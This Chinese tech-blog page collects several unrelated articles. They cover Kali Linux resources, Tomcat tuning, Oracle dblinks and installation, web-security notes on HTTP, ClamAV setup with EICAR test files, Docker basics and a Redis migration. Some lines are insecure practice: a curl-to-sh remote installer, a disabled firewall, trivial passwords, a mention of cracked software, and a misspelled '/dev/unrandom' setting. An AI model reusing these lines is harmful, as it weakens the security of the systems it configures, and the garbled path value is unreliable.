
饿了么
暂时未有相关通用技术能力~
阿里云技能认证
详细说明Kali Linux 前身是著名渗透测试系统BackTrack ,是一个基于 Debian 的 Linux 发行版,包含很多安全和取证方面的相关工具。 Kali Linux 是一款非常不错的渗透测试系统,致力于做最优秀的渗透测试分发系统。 Kali Linux 下载篇2013年3月13日Kali Linux 官网发布了第一个版本1.0.0,更详尽的Kali Linux 版本发布历史请移步:https://www.kali.org/kali-linux-releases/ Kali Linux 提供了多种类型的版本可供下载,您可以在32位,64位系统镜像,虚拟机镜像,ARM 硬件支持的各种版本中选择你所需要的任何版本。 a.获取最新的ISO系统镜像请移步: https://www.kali.org/downloads/ Tips: Kali Linux 针对不同处理器架构分有 64 bit、32 bit、armhf、armel等版本,根据实际情况来选择下载使用,官网除了这个页面外还有专门为一些ARM架构的小型和便携式设备提供ARM Image的下载页面,更多的可以在Kali Linux 软件源中查看Kali Linux 64bit Light 是Kali Linux 基于64bit 的轻量级版本,保证系统的最小化安装和基本的使用,光从size属性上来看,就可以发现比Kali Linux 64bit 小了1.8G;而e17、Mate、LXDE等是不同的桌面环境,Kali Linux 2016.2 支持GNOME、KDE、Mate、LXDE和Enlightenment等桌面环境链接:https://www.zhihu.com/question/50313235/answer/124709799 b.官网还为 VMware, VirtualBox 虚拟机提供了直接可以打开使用的images (推荐) Kali Linux VMware, VirtualBox and ARM images https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/ Tips: 默认帐号:root 默认密码:toor c.ARM硬件系统镜像:https://www.offensive-security.com/kali-linux-arm-images/ Kali Nethunter Android平台渗透测试镜像:https://www.offensive-security.com/kali-linux-nethunter-download/ Kali NetHunter 是一个Android的渗透测试平台的Nexus和OnePlus设备之上的Kali的Linux,包括一些特殊的和独特的功能。 Kali Linux文档篇 Kali Linux 有详尽的使用文档 Kali Linux 官方文档:https://docs.kali.org/ Android渗透测试平台文档——Kali NetHunter文档: https://github.com/offensive-security/kali-nethunter/wiki Kali Linux 社区篇Kali linux 还有强大的社区支持 社区支持:https://www.kali.org/community/ 社区BBS论坛: http://forums.kali.org/ 开源Bug追踪系统:https://tools.kali.org/ Kali Linux 仓库:http://git.kali.org/gitweb/ Kali Linux Bug上报中心:https://bugs.kali.org/my_view_page.php 数据库溢出学习库:https://www.exploit-db.com/ 此漏洞类别包括远程服务或应用程序的漏洞,包括客户端漏洞攻击。 Kali Linux 安全认证培训篇进攻性安全培训、认证和服务 https://www.offensive-security.com/ 十多年来,真正的以性能为基础的渗透测试培训的唯一提供者。 进攻性安全的产生源于这样一种信念:只有通过进攻性的心态和方法,才能实现真正的防御安全。Kali Linux是一个进攻性的安全项目–资助,开发一个自由和开放源码的渗透测试平台的维护。
Tomcat安装:wget http://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-8/v8.5.31/bin/apache-tomcat-8.5.31.tar.gz 解压缩后直接在apache/bin目录下./startup.sh 启动小技巧:当出现Tomcat一直卡在启动页面时,可以是因为Java.security配置文件里写的是/dev/random,/dev/random和/dev/urandom是Linux系统中提供的随机伪设备,这两个设备的任务,是提供永不为空的随机字节数据流。很多解密程序与安全应用程序(如SSH Keys,SSL Keys等)需要它们提供的随机数据流。当使用/dev/random因为需要生成随机数如果没有完成这个随机数的创建就会一直卡在启动页面。建议找到jdk1.x.x_xx/jre/lib/security/Java.security文件,在文件中找到securerandom.source这个设置项,将其改为:securerandom.source=file:/dev/unrandom 在 apache/conf/server.xml目录下 tomcat默认参数设置:maxThreads:tomcat可用于请求处理的最大线程数,默认是200 ----连接数• minSpareThreads:tomcat初始线程数,即最小空闲线程数 == minProcessors相同• maxSpareThreads:tomcat最大空闲线程数,超过的会被关闭==maxThreads==maxProcessors• acceptCount:当所有可以使用的处理请求的线程数都被使用时,可以放到处理队列中的请求数,超过这个数的请求将不予处理.默认100--- 最大排队数minProcessors:最小连接线程数,用于提高系统处理性能,默认值为10maxProcessors:最大连接线程数,即:并发处理的最大请求数,默认值为75enableLookups:是否反查域名,取值为:true或false。为了提高处理能力,应设置为falseconnectionTimeout:网络连接超时,单位:毫秒。设置为0表示永不超时,这样设置有隐患的。通常可设置为30000毫秒。其中和最大连接数相关的参数为maxProcessors和acceptCount。如果要加大并发连接数,应同时加大这两个参数。 最大连接数 maxThreadstomcat同时处理的线程数。配置依据:(1)、部署的程序偏计算型,主要利用cpu资源,应该将该参数设置小一点,减小同一时间抢占cpu资源的线程个数。(2)、部署的程序对io、数据库占用时间较长,线程处于等待的时间较长,应该将该参数调大一点,增加处理个数。最大排队数 acceptCount当tomcat的线程数达到maxThreads后,新的请求就会排队等待,超过排队数的请求会被拒绝。我一般设置和maxThreads相同。 "maxPostSize"该参数限制了post方式上传文件的大小,当maxPostSize<=0时,POST方式上传的文件大小不会被限制,maxPostSize参数只有当request的Content-Type为“application/x-www-form-urlencoded”时起作用。"maxHttpHeaderSize"来自于客户端请求的Request和Response的HTTP,http请求头信息的最大程度,超过此长度的部分不予处理,一般8K。"maxThreads"客户请求最大线程数,Tomcat使用线程来处理接收的每个请求。这个值表示Tomcat可创建的最大的线程数。"minSpareThreads"最小空闲线程数,Tomcat初始化时创建的 socket 线程数."maxSpareThreads"最大连接线程数,即:并发处理的最大请求数,默认值为75,一旦创建的线程超过这个值,Tomcat就会关闭不再需要的socket线程。"minProcessors"最小空闲连接线程数,用于提高系统处理性能,默认值为 10。"acceptCount"允许的最大连接数,应大于等于 maxProcessors ,默认值为 100。"enableLookups"若设为true, 则支持域名解析,可把 ip 地址解析为主机名,为了提高处理能力,应设置为false。"compression"打开压缩功能。"compressionMinSize "启用压缩的输出内容大小,这里面默认为2KB"compressableMimeType"压缩类型。"connectionTimeout"网络连接超时,单位:毫秒。设置为 0 表示永不超时,这样设置有隐患的。通常可设置为 30000 毫秒。"URIEncoding"URL统一编码 。"redirectPort"这里系统默认的,它指定转发端口,如果当前只支持non-SSL请求,在需要安全通信的场所,将把客户请求转发至SSL的redirectPort端口。"disableUploadTimeout"上传时是否使用超时机制,如果不指定,该属性为“false”。 上述配置读者可通过实际业务需求进行调整,达到tomcat性能最优,关于更多tomcat详细部署读者可参考笔者的该篇文章,希望能有所帮助:
在有些业务场景下,有些数据需要共享给第三方,但不想实现全表或者全库的共享,所以就有了以下的文档操作。 前提条件: 1. A 库 主库 B库为远端库 A库部分数据传给B库 1) IP 可以ping通2) 两边数据库端口1521相通 在B库上面的操作如下: 第一步 在B库上面找到业务数据库账号(例如 此实例 账户为对外业务数据库,需要A库数据,就授权给此账户以下权限) 注意:用DBA账户给testdbuser_B账户授权 grant create database link to testdbuser_B; --创建dblink的权限。 grant create materialized view to testdbuser_B; --创建物化视图的权限。 connect testdbuser_B /xxxxx --连接数据库账户 第二步创建Dblink create public database link dblink02 connect to testdbuser_A identified by testdb_A using '(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.129)(PORT = 1521)))(CONNECT_DATA =(SERVICE_NAME = orcl)))'; 上面语句中 标红的地方输入A库需要给数据的账户 让B库可以通过Dblink访问A数据库 第二步测试DblinkSelect * from store_area@ dblink02; 测试是否可以查询数据库的表 A库操作在A数据库的表上创建物化视图日志,这个日志记录了主表的变化。 SQL> create materialized view log on E表 with rowid; 主库执行 A 代表表 create materialized view log on F表 with rowid; 选择8张表做物化视图日志则都要用以上命令 在B库操作单表的物化视图的查询方法 fast SQL> create materialized view test_A refresh fast with rowid start with sysdate next sysdate+1/1440 as select A.name,A.id from A@dblink02; -----选择特定的字段查询出来注意:8张表都要创建不同的物化视图方便后面在B库的 联合查询sysdate +1/1440 指10分钟增量同步一次 在这里说明以下为何不用多表连接的方式: Oracle 官方有以下说明 ORA-12015: cannot create a fast refresh snapshot from a complex query compele在复杂查询上只能建立全刷新的物化视图. (这种方法比较慢,影响DBlink的性能从而容易拉低数据库的性能,高并发情况下会导致数据库出现卡顿及崩溃) fast另外一种可选的方法是在本地建立快速刷新的远程基表的物化视图,然后在本地创建视图. 可以在单表物化视图的方式选择特定的查询参数 从而可有效避免表中所有字段过来 至此 物化视图部署完成。 B库操作联合查询 把物化视图中的筛选出来的字段全部查询出来,在共享表执行以下语句即可(前提条件是在建立物化视图阶段把响应的数据字段查询出来然后根据以下语句进行查询)select a001,a003,a021,a008,a002,a011,sum(a034+a035),a044,a077,a070,decode(a197,'0','否','是') ,(case when a008 in (select g013 from gd_sq_sqr )then '是' else '否' end ) ,(case when a008 in (select g230 from gd_db_dydb )then '是' else '否' end ),decode(b.xb,'1','男','女') from gz_gr_zz a join cr_gr b on a.a111=b.grbh group by a001,a003,a021,a008,a002,a011,a044,a077,a070,decode(a197,'0','否','是'),decode(b.xb,'1','男','女') 在之前的最优解决方案里面 加上 一个 dblink 用户的授权 只可以让此用户的dblink 同步8张表 对于 dblink 不可同步表的不可控的方式 有了 权限控制的解决方法 -----新建用户只能查看指定的表------------create user test identified by Tdba; grant connect,resource to test;grant select on yw.JFKH to test;grant select on yw.JFKH_DETAIL to test; -----新建用户可以查看、修改指定的表------------create user test identified by testdba; grant connect,resource to test;grant select ,update on yws.JFKH to test;grant select,update on yws.JFKH_DETAIL to test; 同时 在 创建 DBlink 的时候 用被权限控制的 账号做 物化视图 可以有效避免 因权限问题 造成的 多表都被同步过去的 情况
最近在看一本关于hacker的书,想将一些相关的知识点做个汇总和笔记,方便日后的查阅也方便现在的学习。因为看的都是web篇的实战,所以该系列学习会偏向web的内容,本章将从三个方面阐述1.攻防永远都是不对等的;2.核心防御方法;3.辅助攻击软件。 攻防永远都是不对等的 为什么说Web应用上的攻防不对等?其本质在于所有的程序都有漏洞,世界上不存在完美的程序。大部分的Web漏洞分为以下几种1.不完善的身份验证措施2.不完善的访问控制措施3.SQL注入4.跨站点脚本5.信息泄露(PS:SSL有利于防止信息的泄露,是很好的防护措施)6.跨站点请求伪造 以上所有的Web漏洞,都是基于用户几乎可向服务器端应用提交任意输入。该问题的出现是因为Web开发的人员认为基于相对多的输入判断,可以辨别出存在恶意的攻击和疑似恶意的攻击。但实际上攻击方可以更改的输入不限于输入框或者引用本身的输入范围。如:cookie,HTTP信息头,或者通过HTTP代理实现更该隐藏HTML的表单参数,JS的后期更改等。近年来的Web开发越来越多的是基于第三方的框架和API的接口,这导致Web开发的速度变快,但也导致很多的Web应用,实际使用相同的框架和开发模板,Hacker只要获取到一个Web攻击成功的模板就能无限的套用,而且,Web开发的人员更关注与开发的效率和功能的全面点,比较少的关于框架安全或者后端服务器的安全,这就是为什么攻击永远不对等的原因。 核心防御方法 关于核新的防御方法是有以下的几个核心因素构成的:1.处理用户访问应用程序的数据与功能,防止用户为授权访问 Web应用程序的三大安全机制处理 1.1 身份验证 1.2会话管理 1.3访问控制2.处理用户对应用程序功能的输入,防止错误输入造成不良影响 2.1输入多样性 2.2输入处理方法 2.3边界确认 2.4多部确认与规范化3.防范攻击者,确保应用程序在成为攻击目标是能够正常晕妆,并采取适当的防御与攻击措施挫败攻击者 3.1处理程序错误 3.2维护审计日志 3.3想管理员报警4.管理应用程序本身,帮助管理员监控其行为 辅助攻击软件 在连接攻击辅助的软件时候,需要先了解HTTP协议相关知识 http(超文本传输协议)是一个基于请求与响应模式的、无状态的、应用层的协议,常基于TCP的连接方式,HTTP1.1版本中给出一种持续连接的机制,绝大多数的Web开发,都是构建在HTTP协议之上的Web应用。 请求方式有:GET 请求获取Request-URI所标识的资源POST 在Request-URI所标识的资源后附加新的数据HEAD 请求获取由Request-URI所标识的资源的响应消息报头PUT 请求服务器存储一个资源,并用Request-URI作为其标识DELETE 请求服务器删除Request-URI所标识的资源TRACE 请求服务器回送收到的请求信息,主要用于测试或诊断CONNECT 保留将来使用OPTIONS 请求查询服务器的性能,或者查询与资源相关的选项和需求 HEAD方法与GET方法几乎是一样的,对于HEAD请求的回应部分来说,它的HTTP头部中包含的信息与通过GET请求所得到的信息是相同的。利用这个方法,不必传输整个资源内容,就可以得到Request-URI所标识的资源的信息。该方法常用于测试超链接的有效性,是否可以访问,以及最近是否更新。 请求部分:HTTP响应也是由三个部分组成,分别是:状态行、消息报头、响应正文 1、状态行格式如下:HTTP-Version Status-Code Reason-Phrase CRLF其中,HTTP-Version表示服务器HTTP协议的版本;Status-Code表示服务器发回的响应状态代码;Reason-Phrase表示状态代码的文本描述。状态代码有三位数字组成,第一个数字定义了响应的类别,且有五种可能取值:1xx:指示信息--表示请求已接收,继续处理2xx:成功--表示请求已被成功接收、理解、接受3xx:重定向--要完成请求必须进行更进一步的操作4xx:客户端错误--请求有语法错误或请求无法实现5xx:服务器端错误--服务器未能实现合法的请求常见状态代码、状态描述、说明:200: OK //客户端请求成功400: Bad Request //客户端请求有语法错误,不能被服务器所理解401: Unauthorized //请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用 403: Forbidden //服务器收到请求,但是拒绝提供服务404: Not Found //请求资源不存在,eg:输入了错误的URL500: Internal Server Error //服务器发生不可预期的错误503: Server Unavailable //服务器当前不能处理客户端的请求,一段时间后可能恢复正常eg:HTTP/1.1 200 OK (CRLF) 报头部分 HTTP消息由客户端到服务器的请求和服务器到客户端的响应组成。请求消息和响应消息都是由开始行(对于请求消息,开始行就是请求行,对于响应消息,开始行就是状态行),消息报头(可选),空行(只有CRLF的行),消息正文(可选)组成。 *HTTP消息报头包括普通报头、请求报头、响应报头、实体报头。每一个报头域都是由名字+“:”+空格+值 组成,消息报头域的名字是大小写无关的。* 1、普通报头在普通报头中,有少数报头域用于所有的请求和响应消息,但并不用于被传输的实体,只用于传输的消息。eg:Cache-Control 用于指定缓存指令,缓存指令是单向的(响应中出现的缓存指令在请求中未必会出现),且是独立的(一个消息的缓存指令不会影响另一个消息处理的缓存机制),HTTP1.0使用的类似的报头域为Pragma。请求时的缓存指令包括:no-cache(用于指示请求或响应消息不能缓存)、no-store、max-age、max-stale、min-fresh、only-if-cached;响应时的缓存指令包括:public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate、max-age、s-maxage.eg:为了指示IE浏览器(客户端)不要缓存页面,服务器端的JSP程序可以编写如下:response.sehHeader("Cache-Control","no-cache");//response.setHeader("Pragma","no-cache");作用相当于上述代码,通常两者//合用这句代码将在发送的响应消息中设置普通报头域:Cache-Control:no-cache Date普通报头域表示消息产生的日期和时间 Connection普通报头域允许发送指定连接的选项。例如指定连接是连续,或者指定“close”选项,通知服务器,在响应完成后,关闭连接 2、请求报头请求报头允许客户端向服务器端传递请求的附加信息以及客户端自身的信息。常用的请求报头Accept:请求报头域用于指定客户端接受哪些类型的信息。eg:Accept:image/gif,表明客户端希望接受GIF图象格式的资源;Accept:text/html,表明客户端希望接受html文本。Accept-Charset请求报头域用于指定客户端接受的字符集。eg:Accept-Charset:iso-8859-1,gb2312.如果在请求消息中没有设置这个域,缺省是任何字符集都可以接受。Accept-Encoding请求报头域类似于Accept,但是它是用于指定可接受的内容编码。eg:Accept-Encoding:gzip.deflate.如果请求消息中没有设置这个域服务器假定客户端对各种内容编码都可以接受。Accept-Language请求报头域类似于Accept,但是它是用于指定一种自然语言。eg:Accept-Language:zh-cn.如果请求消息中没有设置这个报头域,服务器假定客户端对各种语言都可以接受。Authorization请求报头域主要用于证明客户端有权查看某个资源。当浏览器访问一个页面时,如果收到服务器的响应代码为401(未授权),可以发送一个包含Authorization请求报头域的请求,要求服务器对其进行验证。Host请求报头域主要用于指定被请求资源的Internet主机和端口号,它通常从HTTP URL中提取出来的,eg:我们在浏览器中输入:http://www.guet.edu.cn/index.html浏览器发送的请求消息中,就会包含Host请求报头域,如下:Host:www.guet.edu.cn此处使用缺省端口号80,若指定了端口号,则变成:Host:www.guet.edu.cn:指定端口号User-Agent我们上网登陆论坛的时候,往往会看到一些欢迎信息,其中列出了你的操作系统的名称和版本,你所使用的浏览器的名称和版本,这往往让很多人感到很神奇,实际上,服务器应用程序就是从User-Agent这个请求报头域中获取到这些信息。User-Agent请求报头域允许客户端将它的操作系统、浏览器和其它属性告诉服务器。不过,这个报头域不是必需的,如果我们自己编写一个浏览器,不使用User-Agent请求报头域,那么服务器端就无法得知我们的信息了。请求报头举例:GET /form.html HTTP/1.1 (CRLF)Accept:image/gif,image/x-xbitmap,image/jpeg,application/x-shockwave-flash,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msword,/ (CRLF)Accept-Language:zh-cn (CRLF)Accept-Encoding:gzip,deflate (CRLF)If-Modified-Since:Wed,05 Jan 2007 11:21:25 GMT (CRLF)If-None-Match:W/"80b1a4c018f3c41:8317" (CRLF)User-Agent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF)Host:www.guet.edu.cn (CRLF)Connection:Keep-Alive (CRLF)(CRLF) 3、响应报头响应报头允许服务器传递不能放在状态行中的附加响应信息,以及关于服务器的信息和对Request-URI所标识的资源进行下一步访问的信息。常用的响应报头Location响应报头域用于重定向接受者到一个新的位置。Location响应报头域常用在更换域名的时候。Server响应报头域包含了服务器用来处理请求的软件信息。与User-Agent请求报头域是相对应的。下面是Server响应报头域的一个例子:Server:Apache-Coyote/1.1WWW-AuthenticateWWW-Authenticate响应报头域必须被包含在401(未授权的)响应消息中,客户端收到401响应消息时候,并发送Authorization报头域请求服务器对其进行验证时,服务端响应报头就包含该报头域。eg:WWW-Authenticate:Basic realm="Basic Auth Test!" //可以看出服务器对请求资源采用的是基本验证机制。 4、实体报头请求和响应消息都可以传送一个实体。一个实体由实体报头域和实体正文组成,但并不是说实体报头域和实体正文要在一起发送,可以只发送实体报头域。实体报头定义了关于实体正文(eg:有无实体正文)和请求所标识的资源的元信息。常用的实体报头Content-Encoding实体报头域被用作媒体类型的修饰符,它的值指示了已经被应用到实体正文的附加内容的编码,因而要获得Content-Type报头域中所引用的媒体类型,必须采用相应的解码机制。Content-Encoding这样用于记录文档的压缩方法,eg:Content-Encoding:gzipContent-Language实体报头域描述了资源所用的自然语言。没有设置该域则认为实体内容将提供给所有的语言阅读者。eg:Content-Language:daContent-Length实体报头域用于指明实体正文的长度,以字节方式存储的十进制数字来表示。Content-Type实体报头域用语指明发送给接收者的实体正文的媒体类型。eg:Content-Type:text/html;charset=ISO-8859-1Content-Type:text/html;charset=GB2312Last-Modified实体报头域用于指示资源的最后修改日期和时间。Expires实体报头域给出响应过期的日期和时间。为了让代理服务器或浏览器在一段时间以后更新缓存中(再次访问曾访问过的页面时,直接从缓存中加载,缩短响应时间和降低服务器负载)的页面,我们可以使用Expires实体报头域指定页面过期的时间。eg:Expires:Thu,15 Sep 2006 16:23:12 GMTHTTP1.1的客户端和缓存必须将其他非法的日期格式(包括0)看作已经过期。eg:为了让浏览器不要缓存页面,我们也可以利用Expires实体报头域,设置为0,jsp中程序如下:response.setDateHeader("Expires","0"); 以上是HTTP协议相关的简单介绍,如有需要可以通过百度查看更详尽的HTTP协议。 相关第三方软件在Hacker方面比较突出的相关软件有:SQLMap(SQL 注入软件),DVWA(自搭建靶机,可以初步学习关于Hacker的入门),Burp_Suite(超级好用的,HTTP请求代理软件,正式版是需要收费的,但网上有很多破解版)WevScarab(本地代理软件,类似Burp_Suite)WireShark(网络封包软件,可用来分析请求包和respone包,查看包信息更直观,比较适合用于防守判断攻击方式)JavaSnoop(调试器,用于防编译源代码)攻击,永远是为了更好的防守。
什么是Clamav ClamAV是一款开源反病毒引擎,旨在检测诸多病毒、特洛伊木马、恶意软件及其他威胁。它支持多种文件格式(文档、可执行文件或压缩文档),支持多种平台,如:Linux/Unix、MAC OS X、Windows、OpenVMS。ClamAV是基于病毒扫描的命令行工具,支持文件格式有如:ZIP、RAR、TAR、GZIP、BZIP2、HTML、DOC、PDF,、SIS CHM、RTF等等。ClamAV有自动的数据库更新器,还可以从共享库中运行。 具体的Clamav使用和安装如下: 1.通过 : wget http://www.clamav.net/downloads/production/clamav-0.100.0.tar.gz下载Clamav安装包tar zxvf clamav-0.100.0.tar.gz 2.创建clamav组和用户groupadd clamav (创建clamav组)useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav (创建clamav用户并加入clamav组,设置为无shell权限)3.编译安装 1)安装依赖包yum install gcc openssl openssl-devel -y 2)编译安装./configure --prefix=/usr/local/clamavmake&&make install4.设置配置文件 创建文件目录和日志文件 mkdir /usr/local/clamav/logs (日志存放目录) touch /usr/local/clamav/logs/clamd.log touch /usr/local/clamav/logs/freshclam.log mkdir /usr/local/clamav/updata (clanav 病毒库目录) chown -R root:clamav /usr/local/clamav/ chown -R clamav:clamav /usr/local/clamav/updata/ 配置clamav文件,PS:这里填写的是--prefix= 的目录地址:vi /usr/local/clamav/etc/clam.conf # Example 注释掉这一行 找到 LogFile /opt/clamav/logs/clamd.log 删掉前面的注释目录改为/usr/local/clamav/logs/clamd.log PidFile /opt/clamav/updata/clamd.pid 删掉前面的注释路径改为/usr/local/clamav/updata/clamd.pidDatabaseDirectory /opt/clamav/updata 删掉前面的注释路径改为/usr/local/clamav/updata/clamd.pidvim freshclam.conf#Example 注释掉这一行. 5.更新病毒库/usr/local/clamav/bin/freshclam,因为之前更新过,所以展示的更新数据较小 PS 如果出现错误查看是否是以下的错误,该错误表示没相对于的文件和用户权限,创建就可以了: [root@LNX17 etc]# /usr/local/clamav/bin/freshclam ERROR: Can't change dir to /opt/clamav/share/clamav 出现上面错误,直接创建一个文件夹并授权给clamav用户即可。 mkdir -p /usr/local/clamav/share/clamav chown clamav:clamav /usr/local/clamav/share/clamav/ 6.查看帮助手册通过 /usr/local/clamav/bin/clamscan --help ,查看clamscan的帮助手册,因为我下载了两个版本有一个版本安装在/opt/clamav/下,所以图片显示的是/opt/clamav/: 7.测试clamav测试Linux恶意软件检测工具现在就可以检测我们刚刚to安装的LMD / ClamAV了。不是使用实际的恶意软件,我们将使用 EICAR 测试文件,这些文件可从EICAR网站(国外某病毒测试文件网站)下载获得。 # cd /var/www/html # wget http://www.eicar.org/download/eicar.com # wget http://www.eicar.org/download/eicar.com.txt # wget http://www.eicar.org/download/eicar_com.zip # wget http://www.eicar.org/download/eicarcom2.zip 找到了异常的病毒文件 删除后在测试一下 以下是扫描的使用指南:· 扫描所有用户的主目录就使用 clamscan -r /home· 扫描您计算机上的所有文件并且显示所有的文件的扫描结果,就使用 clamscan -r /· 扫描您计算机上的所有文件并且显示有问题的文件的扫描结果,就使用 clamscan -r –bell -i /
本文所采用的操作系统为OracleLinux,所以存在部分的命令不同,但总体和其它linux系统上安装oracle是雷同的有参考意义,具体的搭建如下:*先配置相关文档:添加相关用户及用户组: /usr/sbin/groupadd oinstall /usr/sbin/groupadd dba /usr/sbin/useradd -m -g oinstall -G dba oracle echo "oracle"|passwd --stdin oracle 创建安装路径及修改权限: mkdir -p /oracle/11g```js chown -R oracle:oinstall /oracle/11g chmod -R 775 /oracle/11g mkdir -p /opt/11g/oraInventory chown -R oracle:oinstall /opt/11g/oraInventory chmod -R 775 /opt/11g/oraInventory cat /etc/hosts 切换到oracle用户 su - oracle 设置环境变量 vi /home/oracle/.bash_profile 其中ORACLE_SID的值可以自己定,我的设为orcl TMP=/tmp; export TMP TMPDIR=$TMP; export TMPDIR ORACLE_BASE=/oracle/11g; export ORACLE_BASE ORACLE_HOME=$ORACLE_BASE/product/11.2.0/dbhome_1; export ORACLE_HOME ORACLE_SID=orcl; export ORACLE_SID ORACLE_TERM=xterm; export ORACLE_TERM PATH=$ORACLE_HOME/bin:/usr/sbin:$PATH; export PATH LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export LD_LIBRARY_PATH CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib; export CLASSPATH umask 022 使环境变量生效:source ~/.bash_profile 关掉防火墙 service iptables stop 更改桌面用户为oracle 在database目录下 执行./runinstall --不选择填写邮件,选择yes --跳过更新 --选择创建数据库和配置文件 --选择客户端 --填写密码 --检查依赖关系,如果依赖有问题,可以尝试 yum install oracle-rdbms-server-11gR2-preinstall --等待安装成功 --安装结束后会出现这个执行脚本,跑一下就完成了 --跑完查看oem查看是否开启
本文简单的介绍下关于我所知道的docke,以及docker的基本使用,安装。 Docker 包括三个基本概念 1.镜像(Image) 2.容器(Container) 3.仓库(Repository) docker的特性: 1.文件系统隔离:每个进程容器运行在完全独立的根文件系统里。 2.资源隔离:可以使用cgroup为每个进程容器分配不同的系统资源,例如CPU和内存。 3.网络隔离:每个进程容器运行在自己的网络命名空间里,拥有自己的虚拟接口和IP地址。 4.写时复制:采用写时复制方式创建根文件系统,这让部署变得极其快捷,并且节省内存和硬盘空间。 5.日志记录:Docker将会收集和记录每个进程容器的标准流(stdout/stderr/stdin),用于实时检索或批量检索。 6.变更管理:容器文件系统的变更可以提交到新的映像中,并可重复使用以创建更多的容器。无需使用模板或手动配置。 7.交互式Shell:Docker可以分配一个虚拟终端并关联到任何容器的标准输入上,例如运行一个一次性交互shell。 docker安装与启动 yum -y install docker PS:如果想下载最新版本的Docker,可以参考如下操作: [root@soft Desktop]# curl -fsSL https://get.docker.com/ | sh + sh -c 'sleep 3; yum -y -q install docker-engine' docker-engine-1.12.1-1.el7.centos.x86_64.rpm | 19 MB 04:11 No Presto metadata available for docker-experimental-repo If you would like to use Docker as a non-root user, you should now consider adding your user to the "docker" group with something like: sudo usermod -aG docker your-user Remember that you will have to log out and back in for this to take effect! 启动容器systemctl start docker 查看docker 详细信息 docker 的基本使用 docker search--docker镜像搜索 构建docker 镜像 docker pull nginx 查看镜像信息docker images 启动docker根据imageID,-d为在后台启动并输出容器IDdocker run -ti -d imageID 查看当前运行的容器docker ps 关于删除操作:容器的工作是建立在镜像的基础之上的,如果需要删除镜像的话,需要先删除使用该镜像的容器,然后才能删除镜像,否则删除镜像的时候,会有如下的类似的错误信息提示:Failed to remove image (e7b): Error response from daemon: conflict: unable to delete e7b2de517efa (must be forced) - image is being used by stopped container 4fbc3cd00987.可以通过docker rm删除容器,docker rmi 删除镜像。 通过docker rm $(docker ps --all -q -f status=exited) 删除暂停的docker容器 其它如: ``删除没有使用的镜像 docker rmi -f $(docker images | grep "" | awk "{print \$3}")```` 批量删除容器 docker ps -a | awk '{print $1}' | xargs docker rm `` `` 批量删除镜像 docker images | awk '{print $3}' | xargs docker rmi`` 持久化容器docker export <CONTAINER ID> -o /nginx.tar 对镜像打tag标签docker tag 686672a1d0cc centos:base
本文是实现关于阿里云上Redis(集群版)的迁移,其实非集群的也可以实现,实现的方式都是相同的,都是通过Redis-port实现,只不过集群版的.rdb(数据文件)多一些。 首先介绍下什么是Redis-port:Redis-port是github上的一款开源第三方软件,基于GO语言实现,主要是为Redis迁移服务。基本的四个功能是,decode(解码),restore(恢复),dump(导出),sync(同步),具体的操作方式如下: DECODE dumped payload to human readable format (hex-encoding) redis-port decode [--ncpu=N] [--parallel=M] \ [--input=INPUT] \ [--output=OUTPUT] RESTORE rdb file to target redis redis-port restore [--ncpu=N] [--parallel=M] \ [--input=INPUT] [--faketime=FAKETIME] [--extra] [--filterdb=DB] \ --target=TARGET [--auth=AUTH] [--redis|--codis] DUMP rdb file from master redis redis-port dump [--ncpu=N] [--parallel=M] \ --from=MASTER [--password=PASSWORD] [--extra] \ [--output=OUTPUT] SYNC data from master to slave redis-port sync [--ncpu=N] [--parallel=M] \ --from=MASTER [--password=PASSWORD] [--psync] [--filterdb=DB] \ --target=TARGET [--auth=AUTH] [--redis|--codis] [--sockfile=FILE [--filesize=SIZE]] 以下是根据阿里云现有的Redis集群版实现的跨账号迁移操作具体如下: 先下载老账号下Redis集群版的rdb文件: 因为我这是测试机没数据,先添点数据,写个python实现输出插入的语句200条:在DMS上插入打印出来的200条redis执行命令:查看下,插入数据成功:接着将数据rdb文件下载:先将实例全量备份,因为只插入了200条数据,所以数据量都是0M,,没关系反正有数据测试就ok,继续往下,点击右侧正常下载: 在新账号下启一台ECS,将rdb文件上传,因为rdb文件有点长,你可以先更改为简单的名称,PS:rdb文件没指定的顺序,可以随意起名。 在新ECS上 下载redis-port工具,可以通过下载 将该redis-port修改为可执行文件 chmod u+x redis-port 在redis-port所在目录下执行mkdir logs,因为redis-port需要一个日志目录存放错误日志,而redis-port又不会创建这个日志文件,这有点坑,不过没事手动创建吧 测试下是否正常使用redis-port和rdb文件因为redis-port 需要输入redis数据库的密码,先检查是否有密码,使用config get requirepass查看,如下代表无密码,需要设置: 1) 设置密码,config set requirepass 12345,将密码设置为12345,出现 NOAUTH Authentication required,表示需要密码登录,密码设置成功,接着通过auth 尝试登录:2) 导入rdb查看是否正常,导入hins4621549_data_20180521104058.rdb 显示OK,之后将所有的rdb文件导入:3) get a1的值 获到helloworld 成功。 最后尝试将数据导入到redis集群中吧!ping r-bp154217ddd6dd14.redis.rds.aliyuncs.com测试redis和ECS内网是否互通,互通就可以尝试rdb文件的上传了,(PS:注意redis数据库有两种模式经典和专有,因为redis不支持通过公网访问所以在使用专有网络ECS时,一定要确保内网是互通的) OK迁移完整,PS:在往redis数据库导入rdb文件时,需注意Redis的白名单的设置,要把ECS的内网放入进去不然会一直报错的 通过控制台查看redis数据的,ok迁移成功
